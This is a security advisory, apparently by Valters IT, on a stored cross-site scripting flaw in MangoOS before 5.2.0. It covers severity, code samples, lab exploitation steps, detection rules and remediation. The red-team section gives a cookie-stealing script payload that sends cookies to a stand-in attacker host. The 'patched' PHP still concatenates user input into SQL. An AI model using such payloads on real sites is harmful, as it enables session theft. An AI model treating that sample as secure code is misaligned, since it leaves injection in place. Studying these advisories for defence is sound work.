CVE-2024-37844

Executive Summary

CVE-2024-37844 is a stored cross-site scripting (XSS) vulnerability in MangoOS versions prior to 5.2.0. An attacker can inject arbitrary web scripts or HTML via a crafted payload, which is then stored and executed in the context of other users' browsers. This can lead to session hijacking, data theft, or further compromise of the application.

Supply Chain & Package Security

MangoOS is a custom operating system or framework, not a standard package manager ecosystem (NPM, PyPI, Go, Ruby). Therefore, supply chain security considerations are limited to the integrity of the MangoOS distribution itself. Ensure that the update to version 5.2.0 is obtained from an official and trusted source.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, indicating that no official CVSS vector has been assigned. However, based on the vulnerability type (stored XSS), the following breakdown is estimated:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs some level of access to submit the payload.
• User Interaction (UI): None (N) – No user interaction is required for the stored XSS to execute.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Threat Level: Medium (estimated score 5.4)

Deep Dive & Mechanics

The vulnerability resides in the MangoOS application's handling of user-supplied input. A stored XSS occurs when an application receives data from an untrusted source and includes that data within its subsequent HTTP responses without proper validation or encoding.

In MangoOS before 5.2.0, a crafted payload (e.g., JavaScript code) can be submitted through a form or API endpoint. This payload is stored in the application's database or file system. When another user (including administrators) accesses the affected page, the payload is rendered and executed in their browser.

The attack flow:

1. Attacker identifies an input field that is not properly sanitized.
2. Attacker submits a payload containing malicious JavaScript, e.g., <script>alert('XSS')</script>.
3. The payload is stored on the server.
4. A victim visits the page that displays the stored data.
5. The victim's browser executes the malicious script, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (MangoOS < 5.2.0):

// Example vulnerable PHP code
$user_input = $_POST['comment'];
// Directly stored without sanitization
$db->query("INSERT INTO comments (content) VALUES ('$user_input')");
// Later, when displaying:
echo $row['content']; // No escaping

Patched Code (MangoOS 5.2.0):

// Example patched PHP code
$user_input = $_POST['comment'];
// Sanitize input
$clean_input = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO comments (content) VALUES ('$clean_input')");
// When displaying:
echo htmlspecialchars($row['content'], ENT_QUOTES, 'UTF-8');

The patch uses htmlspecialchars() to encode special HTML characters, preventing script execution.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install MangoOS version 5.1.0 (or earlier) in a controlled environment.
2. Identify a vulnerable input field (e.g., a comment form, profile update, or settings page).
3. Use a browser or tool like Burp Suite to intercept and modify requests.

Exploitation Steps:

1. Submit a payload such as:

   <script>alert(document.cookie)</script>
   

2. Verify that the payload is stored and executed when the page is loaded.
3. For a more advanced attack, use a payload to steal cookies:

   <script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>
   

4. Set up a listener on the attacker's machine to capture the cookie.

Blue Team

Detection:

• Monitor for unusual input patterns in logs (e.g., <script>, onerror=, javascript:).
• Use web application firewalls (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Response:

• Immediately isolate affected systems.
• Review logs for signs of exploitation.
• Apply the patch by upgrading to MangoOS 5.2.0.
• Rotate any compromised credentials or session tokens.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown or suspicious domains containing cookie data.
  • Requests with payloads containing <script>, onerror, or javascript: in POST/GET parameters.
• File IOCs:
  • Log entries showing unsanitized HTML/JavaScript in user input fields.
• Behavioral IOCs:
  • Unexpected pop-ups or redirects in the application.
  • Unauthorized actions performed on behalf of users.

Detection Engineering

YARA Rule

rule CVE_2024_37844_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting MangoOS CVE-2024-37844"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37844"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:\s*/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS Payload in MangoOS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential stored XSS payloads in MangoOS logs
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panels (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37844 Stored XSS Payload"; flow:to_server; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-37844 Stored XSS Payload - onerror"; content:"onerror="; http_client_body; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-37844 Stored XSS Payload - javascript"; content:"javascript:"; http_client_body; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to MangoOS 5.2.0 or later.
2. Input Validation: Implement strict input validation and sanitization for all user-supplied data.
3. Output Encoding: Use context-appropriate encoding (e.g., HTML entity encoding) when displaying user data.
4. Content Security Policy (CSP): Deploy CSP headers to restrict script sources and mitigate XSS impact.
5. Web Application Firewall (WAF): Use a WAF to filter malicious payloads.
6. Regular Security Audits: Conduct code reviews and penetration testing to identify similar vulnerabilities.

Valters IT
Securing Digital Frontiers